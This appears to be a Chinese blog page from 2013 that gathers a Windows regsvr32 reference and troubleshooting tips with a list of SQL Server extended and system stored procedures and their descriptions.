2013年6月1日星期六

Regsvr32

Regsvr32

百科名片

Regsvr32  
Regsvr32
Regsvr32命令的作用是将动态链接库文件注册为注册表中的命令组成。WInXP系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。

编辑本段语法

regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname 其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。

编辑本段参数

/u
反注册控件
/s
指定 regsvr32 安静运行,且不显示任何消息框。
/n
指定不调用 DllRegisterServer。此选项必须与 /i 共同使用。
/i:cmdline
调用 DllInstall 将它传递到可选的 [cmdline]。在与 /u 共同使用时,它调用 dll 卸载
dllname
指定要注册的 dll 文件名。
/?
命令提示符显示帮助。

编辑本段执行方法

1、可以在“开始”--“运行”,调出运行的对话框,也可以使用Win+R热键,然后直接在输入栏输入即可
2、在开始--运行 输入cmd,调出‘命令提示符’窗口,然后再执行regsvr32命令。
例:
要为“Active Directory Schema”注册 .dll,请在 MS-DOS提示符处键入以下命令:
c:\regsvr32 schmmgmt.dll
Regsvr32是系统文件
很多朋友都用过Windows系统下提供的regsvr32.exe这个命令。不要瞧不起这个小命令。有时候它可能帮你解决大问题。

编辑本段组件注册

注 册一个组件使用regsvr32 xxx.dll命令。其中DLL(即xxx.dll)输出四个函数。 DllGetClassObject,DllRegisterServer,DllUnregisterServer和DllMain。下面简单介绍这四 个函数的用途 DllGetClassObject用于返回classfactory对象指针,classfactory用于创建组件实例,详情参看《COM技术内幕》
DllRegisterServer由词义看出其用于注册组件, 在windows的注册表中给某个dll的登记。注意DLL(xxx.dll)内部包含一个或多个组件。regsvr32 -s xxx.dll即regsvr32调用xxx.dll中的此函数完成组件的注册。多说一句,注册是为了能够索引到xxx.dll然后创建组件。
DllUnregisterServer在windows的注册表中取消某个dll的登记
DllMain:c++程序有一个main函数作为程序入口,windows程序使用WinMain作为程序入口,Dll使用的是DllMain作为入口。主要用于获取模块句柄。下面是其实现方式
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD dwReason, void* lpReserved)
{
if(dwReason==DLL_PROCESS_ATTACH)
{
g_hModule=hModule;
}
}
可以看到,DllMain将模块句柄保存到一个全局g_hModule中,以供DllregisterServer和DllUnregisterServer使用

编辑本段主要功能

轻松修复IE浏览器

很 多经常上网的朋友都有过这样的经历:IE不能打开任何新的窗口,用鼠标点击超链接,也没有任何的反应。这是一般情况下需要重新启动机器或者重新安装IE就 能解决问题。其实根本没这么 麻烦,使用Regsvr32.exe命令就可以轻松搞定。在开始---运行里输入“Regsvr32.exe actxprxy.dll”回车 确定;再次输入运行Regsvr32.exe shdocvw.dll”回车。重新启动计算机后IE被轻松修复。上网一切正常如初。

在线升级的问题

windows漏洞很多。每隔一段时间都需要使用windows update来升级自己的系统。可这个程序总是出现无法使用的情况。这个时候使用regsvr32.exe又可以帮助我们解决这个问题。开始---运行--输入regsvr32.exe wupdinfo.dll回车。这是系统重新注册了Update的组件。重新启动机器后有可以升级你的系统。

卸载鸡肋功能

XP系统中有的服务不仅占用系统资源严重,而且功能要强不强,要弱不弱。根本不如一些专业的软件来的方便。比如它的图片预览功能和ZIP压缩功能。这个时候我们就可以使用regsvr32.exe工具来卸载掉这些鸡肋。开始--运行---输入regsvr32.exe /u zipfldr.dll就可以卸载掉功能。如以后需要这个功能,只需要再次输入regsvr32 zipfldr.dll即可。同样,开始-运行---输入regsvr32.exe /u thumbvw.dll就可以卸载掉图片预览功能。需要恢复时输入regsvr32 thumbvw.dll

防范脚本病毒

网络脚本病毒会在你浏览网页的同时不知不觉的被感染。这种病毒有时候一般的杀毒软件根本查不到。其实这种病毒很多情况下都是调用了FSO对象(file system object文件系统对象)。因此我们只需要禁止FSO就可以有效的防止这种病毒的传播。操作的方法也很简单。开始-运行--输入“regsvr32.exe /u scrrun.dll就可以禁用FSO。需要时输入regsvr32.exe scrrun.dll即可。 相信很多朋友看见上面的介绍多少对regsvr32.exe都 有了一些了解。其实这个命令是windows中控件文件(扩展名为.dll ,.ocx,.cpl)的注册和反注册工具。这个命令在WIN98下的位置在/WINDOWS/SYSTEM中。其实一般情况下,所谓的注册的意义就是把 一些控件文件放在它应该在的位置上(不严格的说)。而有一些系统的控件或者其它情况下用这个命令就方便的多。关于这个命令的参数,请大家参考此贴的第一个 图。一般情况下只用到/U这个参数。

修复缩略图文件

2000: 开始→运行,输入regsvr32 thumbvw.dll
XP: 开始→运行,输入regsvr32 shimgvw.dll这条主要是解决windows图片和传真查看器的右键没有“设为桌面背景”的!!特注!

WMP播放器支持RM

很多朋友喜欢用Windows Media Player(以下简称WMP)播放器,但是它不支持RM格式,难道非得安装其它播放软件吗? 以Win XP为例,首先下载一个RM格式插件解压缩后得到两个文件夹: Release(用于Windows 9x)和Release Unicode (用于Windows 2000/XP);将Release Unicode文件夹下的
RealMediaSplitter文件拷贝到“系统盘符\WINDOWS\System32\”目录下;在“开始→运行”中键入“regsvr32 RealMediaSplitter”,点击“确定”即可。接着下载解码器,如Real Alternative,安装后就能用WMP播放RM格式的影音文件了。

WMP9播放器

有些音乐网页的在线点歌需要用到Media Player,有的朋友明明安装了WMP9,但在线听音乐却只看到枯燥的WMP6播放器面板,想让漂亮的WMP9面板出现,当然没问题的。 常见问题的操作系统多数WIN 98,先关闭IE,再在“开始→运行”中键入“regsvr32 wmpdxm.dll”,点击“确定”即可。

系统功能无反应

regsvr32 shdocvw.dll
有时从开始菜单里点击XP系统的搜索功能、帮助和支持或管理工具等,但就是无任何反应,这是它们的打开方式缺少关联,所以我们只要用regsvr32注册它们需要调用的动态连接库文件就行了。

添加/删除程序

当打开控制面板中的添加/删除程序时,双击它的图标后无反应,或者打开后自动关闭了,尝试使用以下命令可以解决。
regsvr32 mshtml.dll
regsvr32 jscript.dll
regsvr32 msi.dll
regsvr32 "c:\program files\common files\system\ole db\oledb32.dll"
regsvr32 "c:\program files\common files\system\ado\msado15.dll"
regsvr32 mshtmled.dll
regsvr32 /i shdocvw.dll
regsvr32 /i shell32.dll

用户帐户打不开

regsvr32 nusrmgr.cpl
regsvr32 mshtml.dll
regsvr32 jscript.dll
regsvr32 /i shdocvw.dll

在线升级的问题

regsvr32 wupdinfo.dll 虽然这两个命令能修复,但治标不治本,我建议遇到此问题的朋友到微软网站进行IE安全更新,即打漏洞补丁。
regsvr32 jscript.dll
regsvr32 vbscript.dll
可以很好的解决浏览某些网页无法正常显示和功能不正常。修复个别窗口空白,如XP的‘搜索’功能的搜索助理操作面板空白、系统还原页面空白和用户帐户页面空白等(可修复把握度100%) 。解决windows media player 9或以上版本打开时提示‘出现内部应用程序错误’(可修复把握度100%) 。可以修复win 2000的‘添加/删除程序’打开后一片空白(可修复把握度99%) 。解决win 2000以WEB方式查看Program Files文件夹和Winnt文件夹时看不到任何文件,以及‘控制面板’的图标跑到左边去的问题。解决网页上网际快车的右键菜单功能无法使用。 在网站中,当右键点某个‘下载连接’时,会弹出菜单,选择‘使用网际快车下载’会再弹出FLASHGET的下载任务页面,如果发现该功能无反应,那就可能是这个原因:原来这项菜单是调用了FLASHGET目录下的jc_link.htm文件,这个文件是用VB语言编写的,所以其作用丢失是动态连接库vbscript.dll没有注册和调用到。等等
Regsvr32.exe 错误消息
以下列表介绍了 RegSvr32 错误消息和可能的原因。
Unrecognized flag:/invalid_flag
键入的标志或开关组合无效(请参阅本文中的“Regsvr32.exe 的用法”一节)。
No DLL name specified.
未包括 .dll 文件名(请参阅本文中的“Regsvr32.exe 的用法”一节)。
Dllname was loaded, but the DllRegisterServer or DllUnregisterServer entry point was not found.
Dllname 不是 .dll 或 .ocx 文件。例如,键入 regsvr32 wjview.exe就会生成该错误消息。
Dllname is not an executable file and no registration helper is registered for this file type.
Dllname 不是可执行文件(.exe、.dll 或 .ocx)。例如,键入 regsvr32 autoexec.bat 就会生成该错误消息。
Dllname was loaded, but the DllRegisterServer or DllUnregisterServer entry point was not found.
Dllname 可能未导出,或者内存中可能有损坏的 Dllname 版本。请考虑使用 Pview 来检测该文件并删除它。
Dllname is not self-registerable or a corrupted version is in memory.
例如,键入 regsvr32 icwdial.dll 后就会返回该错误消息,因为 Icwdial.dll 文件不能自行注册。如果您怀疑内存中有损坏的 Dllname 版本,请尝试重新启动计算机,或重新提取该文件的原始版本。如果您运行的是 Windows NT,可能需要使用 Microsoft Windows NT Server 4.0 资源工具包 中的 Kill 或 Pview 工具。有关其他信息,请单击以查看以下 Microsoft 知识库文章:
197155 如何终止孤立进程
OleInitialize failed (or OleUninitialize failed).
Regsvr32 必须先初始化 COM 库,然后才能调用所需的 COM 库函数并在关闭时撤消对该库的初始化。如果对 COM 库进行初始化或撤消初始化的尝试失败,就会出现这些错误消息。例如,Ole32.dll 文件可能已经损坏,或者其版本有误。
LoadLibrary("Dllname") failed.GetlastError returns 0x00000485
在 Winerror.h 中,0x00000485 = 1157 (ERROR_DLL_NOT_FOUND),表示“找不到运行该应用程序所需的某个库文件”。例如,键入 regsvr32 missing.dll 后,如果找不到 Missing.dll 文件,就会返回该错误消息。
LoadLibrary("Dllname") failed.GetLastError returns 0x00000002
在 Winerror.h 中,0x00000002 = 2 (ERROR_FILE_NOT_FOUND),表示“系统找不到指定的文件”。换言之,系统找不到相关的 DLL。例如,如果键入 regsvr32 icwdial.dll,而此时缺少 Tapi32.dll(依赖项),就会返回该错误消息。
LoadLibrary("dskmaint.dll") failed.GetLastError returns 0x000001f
在 Winerror.h 中,0x000001f = 31 (ERROR_GEN_FAILURE),表示“附加到系统上的设备不能正常工作”。如果您尝试注册 Win16 .dll 文件,就会发生此现象。例如,键入 regsvr32 dskmaint.dll 会返回该错误消息。
DllRegisterServer (or DllUnregisterServer)in Dllname failed.返回代码是:字符串
在 Winerror.h 中搜索字符串。
Regsvr32.exe 和依赖项
RegSvr32.exe 依赖于 Kernel32.dll、User32.dll 和 Ole32.dll 文件(在 Windows NT 中,还依赖于 Msvcrt.dll 和 Advapi32.dll 文件)。Regsvr32.exe 会加载您尝试注册或撤消注册的文件及其所有依赖项。如果缺少必需的文件或者它们已损坏,该进程可能会失败。
您可以使用 Depends.exe 来确定您尝试注册或撤消注册的文件的依赖项。在 Microsoft Windows 98 资源工具包 和 Microsoft Windows NT 4.0 资源工具包 支持工具中都提供了 Depends.exe。
247024 Tools Included with the Microsoft Windows 98 Resource Kit
如果你以上问题都尝试过了还是在关机的时候出现此问题,如果你确认你自己安装中国工商银行的反钓鱼软件。
请您卸载此软件。

恢复显示桌面

在进行日常的电脑操作时,有时会急需调出桌面,但又不关闭已打开的窗口,Windows对此添加了显示桌面的快捷键,默认在“开始”右边的第一个快捷方式。有时快捷栏里显示桌面图标会丢失,或被误删除。这时可以用regsvr32命令来解决。
开始》 运行》 regsvr32 /n /i:u shell32

WMP任务栏

在正常情况下,打开media player并将其最小化,右击任务栏空白处“工具栏” 勾选“windows media player”选项,此时media player将会以最小播放机的形式在任务栏右方显示。但现在在------“工具栏”上没有“Windows media player”选项,也就无法将media player转化为最小播放机的形式在任务栏上显示了。
解决命令:regsvr32 "%ProgramFiles%\Windows Media Player\wmpband.dll

编辑本段常见故障

Regsvr32命令是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,可找回系统丢失的功能。
Regsvr32命令以命令行方式运行,其格式为: regsvr32 [/u] [/s] [/n] [/i[:cmdline]] DLL文件名
该命令是在“开始“”运行”的文本框运行的,
参数对应功能如下:
/u:反注册DLL文件;
/s:在成功注册/反注册DLL文件前提下不显示结果提示框。
/c:控制端口;
/i:在使用/u反注册时调用DllInstall;
/n:不调用DllRegisterServer,必须与/i连用。
l.Windows XP的图片预览功能,对应的控件文件为 thurnbvw.dll,那么对应的Regsvr32命令就是: Regsvr32 Thurnbvw. dll ,单击“确定”执行命令,这时就会弹出提示框: " DllRegisterServer in Thumbvw.dll succeeded." ,这表明控件注册成功。重新启动电脑,即可修复图片预览功能。
2. WindowsXP系统自带了ZIP功能,可在没有第三方软件的情况下打开ZIP文件,如果该功能损坏,可在运行框中执行“Regsvr32 ZIPfldr.dll”命令,然后重新启动电脑即可恢复。
3.当我们打开网页,点击超链接没有反应,按Shift+鼠标左键也不能新开页面进行浏览是,可以使用 Regsvr32命令:Regsvr32 actxprxy.dll,系统会弹出提示框,单击"确定”后再键入"regsvr32 shdocvw.dll”,注册这2个动态链接库后重启计算机,这样IE浏览器即可恢复正常。
4.WindowsXP系统有一个自动升级功能,如果碰到无法升级系统问题,可以使用 regsvr32 wupdinfo.dll解决Windows无法在线升级的问题。[1]

sql server中扩展存储过程大全

--获得MS SQL的版本号
execute master..sp_msgetversion
--得到硬盘文件信息
--参数说明:目录名,目录深度,是否显示文件
execute master..xp_dirtree 'c:'
execute master..xp_dirtree 'c:',1
execute master..xp_dirtree 'c:',1,1

--列出服务器上安装的所有OLEDB提供的程序
execute master..xp_enum_oledb_providers
--列出服务器上安装的所有代码页
execute master..xp_enumcodepages
--列出服务器上配置的dsn
execute master..xp_enumdsn
--列出sql server错误日志列表,最后更新时间
execute master..xp_enumerrorlogs
--列出服务器上所有windows本地组
execute master..xp_enumgroups
--检测文件存在性
execute master..xp_fileexist 'c:\a.bak'
declare @flag int
exec master..xp_fileexist 'c:\abc.bak',@flag out
if @flag=1
begin
print 'exist'
end
else
begin
print 'no exist'
end
--列出服务器上固定驱动器,以及每个驱动器的可用空间
execute master..xp_fixeddrives

--得到当前sql server服务器的计算机名称
execute master..xp_getnetname
--列出当前错误日志的具体内容
EXEC [master].[dbo].[xp_readerrorlog]
--列出指定目录的所有下一级子目录
EXEC [master].[dbo].[xp_subdirs] 'c:\WINNT'

---列出驱动器的名称
--以字节为单位的空闲空间(low free)
--以驱动器类型:软驱(1),硬盘(2),cd-rom(8)
EXEC [master].[dbo].[xp_availablemedia]
--效果如下:
name low free high free media type
C:\ 1270386688 0 2
D:\ 1726824448 2 2
E:\ 875053056 10 2
F:\ 0 0 8
还有在[master].[dbo].[sp_addlogin]里面有加密函数pwdencrypt,大家感兴趣可以试试

Sql Server 常用系统存储过程大全

Sql Server 常用系统存储过程大全

-- 来源于网络
-- 更详细的介结参考联机帮助文档
 xp_cmdshell --*执行DOS各种命令,结果以文本行返回。
 xp_fixeddrives --*查询各磁盘/分区可用空间
 xp_loginconfig --*报告SQL Server 实例在Windows 上运行时的登录安全配置
 xp_logininfo --*返回有关Windows 认证登录的信息。
 xp_msver --*返回有关Microsoft SQL Server 的版本信息
 xp_enumgroups    --返回Windows用户组列表或在指定域中的全局组列表。
 xp_sendmail  --将电子邮件发送给指定的收件人(后续版本将删除该功能)。
 xp_readmail --阅读SQL Mail收件箱中的邮件(后续版本将删除该功能)。
 xp_deletemail --删除Microsoft SQL Server 收件箱中的邮件(后续版本将删除该功能)。
 xp_startmail --通过该过程启动SQL Mail将返回两条消息,主要用于故障排除。
 xp_stopmail --停止SQL 邮件客户端会话(后续版本将删除该功能)。
 xp_grantlogin  --授予Windows 组或用户对SQL Server 的访问权限(后续版本将删除该功能)。
 xp_revokelogin   --撤消Windows 组或用户对SQL Server 的访问权限(后续版本将删除该功能)。
 xp_logevent --将用户定义消息记入SQL Server 日志文件和Windows 事件查看器。
 xp_sprintf --设置一系列字符和值的格式并将其存储到字符串输出参数中。每个格式参数都用相应的参数替换。
 xp_sqlmaint --使用包含sqlmaint 开关的字符串调用sqlmaint 实用工具(后续版本将删除该功能)。
 xp_sscanf      --将数据从字符串读入每个格式参数所指定的参数位置。

 sp_ActiveDirectory_Obj --控制数据库在Windows活动目录中的注册。
 sp_ActiveDirectory_SCP  --控制已连接实例的数据库在Windows活动目录中的注册。
 sp_add_agent_parameter --将新参数及其值添加到代理配置文件中。
 sp_add_agent_profile --为复制代理创建新的配置文件。
 sp_add_alert --创建一个警报。
 sp_add_category --将指定的作业、警报或操作员类别添加到服务器中。
 sp_add_job --*添加由SQLServerAgent 服务执行的新作业。
 sp_add_jobschedule --*创建作业计划。
 sp_add_jobserver --在指定的服务器中,以指定的作业为目标。
 sp_add_jobstep --*在作业中添加一个步骤(操作)。
 sp_add_log_shipping_alert_job  --检查是否已在此服务器上创建了警报作业,无则创建。
 sp_add_log_shipping_primary_database --设置日志传送配置(包括备份作业、本地监视记录及远程监视记录)的主数据库。
 sp_add_log_shipping_primary_secondary --在主服务器上添加辅助数据库项。
 sp_add_log_shipping_secondary_database --为日志传送设置辅助数据库。
 sp_add_log_shipping_secondary_primary --为指定的主数据库设置主服务器信息,添加本地和远程监视器链接,并在辅助服务器上创建复制作业和还原作业。
 sp_add_maintenance_plan --添加维护计划并返回计划ID(后续版本将删除该功能)。
 sp_add_maintenance_plan_db --将数据库与维护计划关联(后续版本将删除该功能)。
 sp_add_maintenance_plan_job --将维护计划与现有作业关联(后续版本将删除该功能)。
 sp_add_notification --设置警报通知。
 sp_add_operator --创建用于警报和作业的操作员(通知收件人)。
 sp_add_proxy --添加指定SQL Server 代理的代理帐户。
 sp_add_schedule --创建一个可由任意数量的作业使用的计划。
 sp_add_targetservergroup --添加指定的服务器组。
 sp_add_targetsvrgrp_member --将指定的目标服务器添加到指定的目标服务器组。
 sp_addapprole --向当前数据库中添加应用程序角色(后续版本将删除该功能)。
 sp_addarticle --创建项目并将其添加到发布中。
 sp_adddistpublisher --配置发布服务器以使用指定的分发数据库。
 sp_adddistributiondb --创建新的分发数据库并安装分发服务器架构。
 sp_adddistributor --在分发服务器上对主数据库执行以注册服务器,并将其标记为分发服务器。
 sp_adddynamicsnapshot_job --创建一个代理作业,该代理作业可为具有参数化行筛选器的发布生成筛选数据快照。
 sp_addextendedproc --向Microsoft SQL Server 注册新扩展存储过程的名称(后续版本将删除该功能)。
 sp_addextendedproperty --将新扩展属性添加到数据库对象中。
 sp_addlinkedserver --*创建链接服务器。
 sp_addlinkedsrvlogin --*添加链接服务器登录映射。
 sp_addlogin --创建新的SQL Server 登录(后续版本将删除该功能)。
 sp_addlogreader_agent --为给定数据库添加日志读取器代理。
 sp_addmergealternatepublisher --为订阅服务器添加使用备用同步伙伴的功能。
 sp_addmergearticle --在现有的合并发布中添加项目。
 sp_addmergefilter --添加新合并筛选以创建基于与另一个表的联接的分区。
 sp_addmergepartition --为在订阅服务器上按HOST_NAME 或SUSER_SNAME 的值进行筛选的订阅创建动态筛选分区。
 sp_addmergepublication --创建新合并发布。
 sp_addmergepullsubscription --添加对合并发布的请求订阅。
 sp_addmergepullsubscription_agent --向合并发布添加一个用于计划请求订阅同步的新代理作业。
 sp_addmergepushsubscription_agent --添加一个新代理作业,用于制定合并发布推送订阅的同步计划。
 sp_addmergesubscription --创建推送合并订阅或请求合并订阅。
 sp_addmessage --将新的用户定义错误消息存储在SQL Server 数据库引擎实例中。
 sp_addpublication --创建快照或事务发布。
 sp_addpublication_snapshot --为指定的发布创建快照代理。
 sp_addpullsubscription --将请求订阅添加到快照或事务发布。
 sp_addpullsubscription_agent --向事务发布添加用于同步请求订阅的全新预定的代理作业。
 sp_addpushsubscription_agent --添加新的预定代理作业,以使推送订阅与事务发布同步。
 sp_addqreader_agent --为给定分发服务器添加队列读取器代理。
 sp_addremotelogin --在本地服务器上添加新的远程登录ID(后续版本将删除该功能)。
 sp_addrole --在当前数据库中创建新的数据库角色(后续版本将删除该功能)。
 sp_addrolemember --为当前数据库中的数据库角色添加数据库用户、数据库角色、Windows 登录名或Windows 组。
 sp_addscriptexec --将SQL 脚本(.sql 文件)投递到发布的所有订阅服务器。
 sp_addserver --定义SQL Server 本地实例的名称(后续版本将删除该功能)。
 sp_addsrvrolemember --添加登录,使其成为固定服务器角色的成员。
 sp_addsubscriber --向发布服务器添加新的订阅服务器,使其能够接收发布。
 sp_addsubscriber_schedule --为分发代理和合并代理添加计划。
 sp_addsubscription --订阅添加到发布并设置订阅服务器的状态。
 sp_addsynctriggers --在订阅服务器上创建与所有类型的可更新订阅一起使用的触发器。
 sp_addtabletocontents --将源表中当前不在跟踪表内的任何行的引用插入合并跟踪表中。
 sp_addtype --创建别名数据类型(后续版本将删除该功能)。
 sp_addumpdevice --将备份设备添加到SQL Server 数据库引擎的实例中。
 sp_adduser --向当前数据库中添加新的用户(后续版本将删除该功能)。
 sp_adjustpublisheridentityrange --调整发布上的标识范围,并基于发布上的阈值重新分配新的范围。
 sp_altermessage --更改SQL Server 数据库引擎实例中用户定义消息的状态。
 sp_apply_job_to_targets --将作业应用于一个或多个目标服务器或属于一个或多个目标服务器组的目标服务器。
 sp_approlepassword --更改当前数据库中应用程序角色的密码(后续版本将删除该功能)。
 sp_article_validation --启动对指定项目的数据验证请求。
 sp_articlecolumn --用于指定项目中包含的列以垂直筛选已发布表中的数据。
 sp_articlefilter --基于表项目筛选发布的数据。
 sp_articleview --在垂直或水平筛选表时创建用于定义已发布项目的视图。
 sp_attach_db --将数据库附加到服务器(后续版本将删除该功能)。
 sp_attach_schedule --设置一个作业计划。
 sp_attach_single_file_db --将只有一个数据文件的数据库附加到当前服务器。
 sp_attachsubscription --将现有的订阅数据库附加到任何订阅服务器。
 sp_autostats --显示或更改特定索引或统计信息的自动UPDATE STATISTICS 设置。
 sp_batch_params --显示有关Transact-SQL 批处理中所含参数的信息。
 sp_bindefault --将默认值绑定到列或绑定到别名数据类型(后续版本将删除该功能)。
 sp_bindrule --将规则绑定到列或别名数据类型(后续版本将删除该功能)。
 sp_bindsession --将会话绑定到同一SQL Server 数据库引擎实例中的其他会话或取消它与这些会话的绑定(后续版本将删除该功能)。
 sp_browsemergesnapshotfolder --返回为合并发布生成的最新快照的完整路径。
 sp_browsereplcmds --返回分发数据库中存储的可读版本复制命令的结果集,并将其用作诊断工具。
 sp_browsesnapshotfolder --返回为发布生成的最新快照的完整路径。
 sp_can_tlog_be_applied --验证事务日志是否可应用于数据库。
 sp_catalogs --返回指定链接服务器中目录的列表。
 sp_cdc_add_job --在当前数据库中创建变更数据捕获清理或捕获作业。
 sp_cdc_change_job --修改当前数据库中变更数据捕获清除或捕获作业的配置。
 sp_cdc_cleanup_change_table --根据指定的low_water_mark 值从当前数据库的更改表中删除行。
 sp_cdc_disable_db --对当前数据库禁用变更数据捕获。
 sp_cdc_disable_table --对当前数据库中指定的源表和捕获实例禁用变更数据捕获。
 sp_cdc_drop_job --从当前数据库中删除变更数据捕获清除或捕获作业。
 sp_cdc_enable_db --对当前数据库启用变更数据捕获。
 sp_cdc_enable_table --为当前数据库中指定的源表启用变更数据捕获。
 sp_cdc_generate_wrapper_function --生成用于为SQL Server 中可用的变更数据捕获查询函数创建包装函数的脚本。
 sp_cdc_get_ddl_history --返回自对指定的捕获实例启用变更数据捕获后与该捕获实例关联的数据定义语言(DDL) 更改历史记录。
 sp_cdc_get_captured_columns --返回指定捕获实例所跟踪的捕获源列的变更数据捕获元数据信息。
 sys.sp_cdc_help_change_data_capture --返回当前数据库中为变更数据捕获启用的每个表的变更数据捕获配置。
 sys.sp_cdc_help_jobs --报告关于当前数据库中所有变更数据捕获清除或捕获作业的信息。
 sp_cdc_scan --执行变更数据捕获日志扫描操作。
 sp_cdc_start_job --启动当前数据库中的变更数据捕获清除或捕获作业。
 sp_cdc_stop_job --停止当前数据库中的变更数据捕获清除或捕获作业。
 sp_certify_removable --验证是否正确配置数据库以便在可移动媒体上分发,并向用户报告所有问题(后续版本将删除该功能)。
 sp_change_agent_parameter --更改存储在MSagent_parameters 系统表中的复制代理配置文件的参数。
 sp_change_agent_profile --更改存储在MSagent_profiles (Transact-SQL) 表中的复制代理配置文件参数。
 sp_change_log_shipping_primary_database --更改主数据库设置。
 sp_change_log_shipping_secondary_database --更改辅助数据库设置。
 sp_change_log_shipping_secondary_primary --更改辅助数据库设置。
 sp_change_subscription_properties --更新请求订阅信息。
 sp_change_users_login --将现有数据库用户映射到SQL Server 登录名(后续版本将删除该功能)。
 sp_changearticle --更改事务或快照发布中的项目属性。
 sp_changearticlecolumndatatype --更改Oracle 发布的项目列数据类型映射。
 sp_changedbowner --更改当前数据库的所有者。
 sp_changedistpublisher --更改分发发布服务器的属性。
 sp_changedistributiondb --更改分发数据库的属性。
 sp_changedistributor_password --更改分发服务器的密码。
 sp_changedistributor_property --更改分发服务器的属性。
 sp_changedynamicsnapshot_job --修改为带有参数化行筛选器的发布的订阅生成快照的代理作业。
 sp_changelogreader_agent -- 更改日志读取器代理的安全属性。
 sp_changemergearticle --更改合并项目的属性。
 sp_changemergefilter -- 更改某些合并筛选属性。
 sp_changemergepublication --更改合并发布的属性。
 sp_changemergepullsubscription --更改合并请求订阅的属性。
 sp_changemergesubscription -- 更改合并推送订阅的选定属性。
 sp_changeobjectowner -- 更改当前数据库中对象的所有者(后续版本将删除该功能)。
 sp_changepublication -- 更改发布的属性。
 sp_changepublication_snapshot -- 更改指定发布的快照代理的属性。
 sp_changeqreader_agent -- 更改队列读取器代理的安全属性。
 sp_changereplicationserverpasswords -- 更改复制代理连接到复制拓扑中的服务器时所用的Microsoft Windows 帐户或Microsoft SQL Server 登录名的存储密码。
 sp_changesubscriber -- 更改订阅服务器的选项。
 sp_changesubscriber_schedule -- 更改订阅服务器的分发代理或合并代理调度。
 sp_changesubscription -- 对于排队更新事务复制所涉及的快照或者事务推送订阅,或所涉及的请求订阅,更改其属性。
 sp_changesubscriptiondtsinfo -- 更改订阅的Data Transformation Services (DTS) 包属性。
 sp_changesubstatus -- 更改现有订阅服务器的状态。
 sp_check_dynamic_filters -- 显示有关发布的参数化行筛选器属性的信息,特别是用于为发布生成已筛选数据分区的函数以及关于发布是否有资格使用预计算分区的信息。
 sp_check_for_sync_trigger -- 确定在用于立即更新订阅的复制触发器的上下文中,是否正在调用用户定义的触发器或存储过程。
 sp_check_join_filter -- 用于验证两个表之间的联接筛选器以确定联接筛选子句是否有效。
 sp_check_subset_filter -- 用来对任何表检查筛选子句,以确定筛选子句对该表是否有效。
 sp_cleanup_log_shipping_history -- 此存储过程将根据保持期,清理本地和监视服务器上的历史记录。
 sp_column_privileges -- 返回当前环境中单个表的列特权信息。
 sp_column_privileges_ex -- 返回指定链接服务器上指定表的列特权。
 sp_columns -- 返回当前环境中可查询的指定表或视图的列信息。
 sp_columns_ex --返回指定链接服务器表的列信息,每列一行。
 sp_configure -- 查询SQL Server外围配置各项参数信息以及更新sp_configure 结果集中的config_value 列的值。
 sp_configure_peerconflictdetection -- 为对等事务复制拓扑中包含的发布配置冲突检测。
 sp_control_dbmasterkey_password -- 添加或删除包含打开数据库主密钥所需的密码的凭据。
 sp_control_plan_guide --删除、启用或禁用计划指南。
 sp_copymergesnapshot --将指定发布的快照文件夹复制到@destination_folder 中列出的文件夹。
 sp_copysnapshot --将指定发布的快照文件夹复制到@destination_folder 中列出的文件夹。
 sp_copysubscription --复制具有请求订阅但无推送订阅的订阅数据库。
 sp_create_plan_guide --创建用于将查询提示或实际查询计划与数据库中的查询关联的计划指南。
 sp_create_plan_guide_from_handle --从计划缓存中的查询计划创建一个或多个计划指南。
 sp_create_removable --创建可移动媒体数据库(后续版本将删除该功能)。
 sp_createstats --为当前数据库中所有用户表的所有合格列和内部表创建单列统计信息。
 sp_cursor_list --报告当前为连接打开的服务器游标的属性。
 sp_cycle_agent_errorlog --关闭当前的SQL Server 代理错误日志文件,并循环SQL Server 代理错误日志扩展编号。
 sp_cycle_errorlog --关闭当前的错误日志文件,并循环错误日志扩展编号。
 sp_databases --列出驻留在数据库引擎实例中的数据库或可以通过数据库网关访问的数据库。
 sp_datatype_info --返回有关当前环境所支持的数据类型的信息。
 sp_db_vardecimal_storage_format --返回数据库的当前vardecimal 存储格式状态,或为数据库启用vardecimal 存储格式。
 sp_dbcmptlevel --设置数据库的兼容级别(后续版本将删除该功能)。
 sp_dbfixedrolepermission --显示固定数据库角色的权限(后续版本将删除该功能)。
 sp_dbmmonitoraddmonitoring --创建数据库镜像监视器作业,该作业可定期更新服务器实例上每个镜像数据库的镜像状态。
 sp_dbmmonitorchangealert --添加或更改指定镜像性能指标的警告阈值。
 sp_dbmmonitorchangemonitoring --更改数据库镜像监视参数的值。
 sp_dbmmonitordropalert --更改数据库镜像监视参数的值。
 sp_dbmmonitordropmonitoring --停止并删除服务器实例上所有数据库的镜像监视器作业。
 sp_dbmmonitorhelpalert --返回若干个关键数据库镜像监视器性能指标中的一个或所有指标的警告阈值信息。
 sp_dbmmonitorhelpmonitoring --返回当前更新持续时间。
 sp_dbmmonitorresults --从存储数据库镜像监视历史记录的状态表中返回所监视数据库的状态行,并允许您选择该过程是否预先获得最新状态。
 sp_dbmmonitorupdate --通过为每个镜像数据库插入新的表行来更新数据库镜像监视器状态表,并截断早于当前保持期的行。
 sp_dboption --显示或更改数据库选项(后续版本将删除该功能)。
 sp_dbremove --删除数据库及其所有相关文件(后续版本将删除该功能)。
 sp_defaultdb --更改Microsoft SQL Server 登录名的默认数据库(后续版本将删除该功能)。
 sp_defaultlanguage  --更改SQL Server 登录的默认语言(后续版本将删除该功能)。
 sp_delete_alert --删除警报。
 sp_delete_backuphistory --通过删除早于指定日期的备份集条目,减小备份和还原历史记录表的大小。
 sp_delete_category --从当前服务器中删除指定的作业、警报或操作员类别。
 sp_delete_database_backuphistory --从当前服务器中删除指定的作业、警报或操作员类别。
 sp_delete_job --删除作业。
 sp_delete_jobschedule --删除作业计划。
 sp_delete_jobserver --删除指定的目标服务器。
 sp_delete_jobstep --从作业中删除作业步骤。
 sp_delete_jobsteplog --删除参数指定的所有SQL Server 代理作业步骤日志。
 sp_delete_log_shipping_alert_job --如果存在警报作业且不存在其他需要监视的主要和辅助数据库,则从日志传送监视服务器中删除警报作业。
 sp_delete_log_shipping_primary_database --该存储过程删除主数据库的日志传送,包括备份作业、本地历史记录以及远程历史记录。
 sp_delete_log_shipping_primary_secondary --删除主服务器上的辅助数据库项。
